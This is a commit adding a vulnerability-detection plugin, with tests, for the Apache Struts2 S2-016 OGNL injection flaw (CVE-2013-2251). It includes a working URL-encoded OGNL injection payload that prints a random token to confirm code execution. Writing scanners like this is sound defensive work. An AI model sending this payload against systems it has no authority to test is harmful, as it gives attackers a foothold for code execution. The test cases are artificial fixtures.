feat(templated):cve-2013-2251

sanjaymahajan14 · sanjaymahajan14 · commit 874d3566de96 · 2026-07-21T11:53:11.000Z
diff --git a/templated/templateddetector/plugins/cve/2013/ApacheStruts_CVE_2013_2251.textproto b/templated/templateddetector/plugins/cve/2013/ApacheStruts_CVE_2013_2251.textproto
@@ -0,0 +1,85 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+  type: VULN_DETECTION
+  name: "ApacheStruts_CVE_2013_2251"
+  author: "sanjaymahajan14"
+  version: "1.0"
+}
+
+finding: {
+  main_id: {
+    publisher: "GOOGLE"
+    value: "CVE-2013-2251"
+  }
+  severity: CRITICAL
+  title: "Apache Struts2 S2-016 DefaultActionMapper OGNL Injection"
+  description: "The redirect and redirectAction prefixes allow unauthenticated remote attackers to execute arbitrary OGNL expressions via manipulated URL parameters, leading to system command execution."
+  recommendation: "Upgrade to Apache Struts 2.3.15.1 or later. Alternatively, implement WAF rules to drop requests containing action:, redirect:, or redirectAction: prefixes combined with OGNL syntax."
+  related_id: {
+    publisher: "CVE"
+    value: "CVE-2013-2251"
+  }
+}
+
+config: {}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+  name: "fingerprint_struts2"
+  http_request: {
+    method: GET
+    uri: "/"
+    response: {
+      http_status: 200
+      expect_any: {
+        conditions: [
+          { body: {} contains: "S2-016 Demo" },
+          { body: {} contains: "struts.apache.org" }
+        ]
+      }
+    }
+  }
+}
+
+actions: {
+  name: "probe_s2_016_ognl"
+  http_request: {
+    method: POST
+    uri: "/default.action"
+    headers: [
+      { name: "Content-Type" value: "application/x-www-form-urlencoded" }
+    ]
+    data: "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27{{tsunami_token}}%27%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1"
+    response: {
+      http_status: 200
+      expect_all: {
+        conditions: [
+          { body: {} contains: "{{tsunami_token}}" }
+        ]
+      }
+    }
+  }
+}
+
+#############
+# WORKFLOWS #
+#############
+
+workflows: {
+  variables: [
+    { name: "tsunami_token" value: "Tsunami-Struts-S2-016-Exploited-{{to_lower(rand_text_alpha(6))}}" }
+  ]
+  actions: [
+    "fingerprint_struts2",
+    "probe_s2_016_ognl"
+  ]
+}
diff --git a/templated/templateddetector/plugins/cve/2013/ApacheStruts_CVE_2013_2251_test.textproto b/templated/templateddetector/plugins/cve/2013/ApacheStruts_CVE_2013_2251_test.textproto
@@ -0,0 +1,68 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+  tested_plugin: "ApacheStruts_CVE_2013_2251"
+}
+
+########
+# TESTS #
+########
+
+tests: {
+  name: "whenVulnerable_returnsTrue"
+  expect_vulnerability: true
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/"
+        status: 200
+        body_content: "<!DOCTYPE html>\n<html>\n<head><title>S2-016</title></head>\n<body>\n<h2>S2-016 Demo</h2>\n<p>link: <a href=\"https://struts.apache.org/docs/s2-016.html\">https://struts.apache.org/docs/s2-016.html</a></p>\n</body>\n</html>"
+      },
+      {
+        uri: "/default.action"
+        status: 200
+        headers: [
+          { name: "Content-Type" value: "text/html;charset=UTF-8" }
+        ]
+        body_content: "{{tsunami_token}}"
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotVulnerable_returnsFalse"
+  expect_vulnerability: false
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/"
+        status: 200
+        body_content: "<!DOCTYPE html>\n<html>\n<head><title>S2-016</title></head>\n<body>\n<h2>S2-016 Demo</h2>\n<p>link: <a href=\"https://struts.apache.org/docs/s2-016.html\">https://struts.apache.org/docs/s2-016.html</a></p>\n</body>\n</html>"
+      },
+      {
+        uri: "/default.action"
+        status: 200
+        headers: [
+          { name: "Content-Type" value: "text/html;charset=UTF-8" }
+        ]
+        body_content: "<!DOCTYPE html>\n<html>\n<body><h2>S2-016 Demo Default Action</h2></body>\n</html>"
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotStruts2_returnsFalse"
+  expect_vulnerability: false
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "TSUNAMI_MAGIC_ANY_URI"
+        status: 200
+        body_content: "<html><body><h1>Welcome to Apache...!</h1></body></html>"
+      }
+    ]
+  }
+}
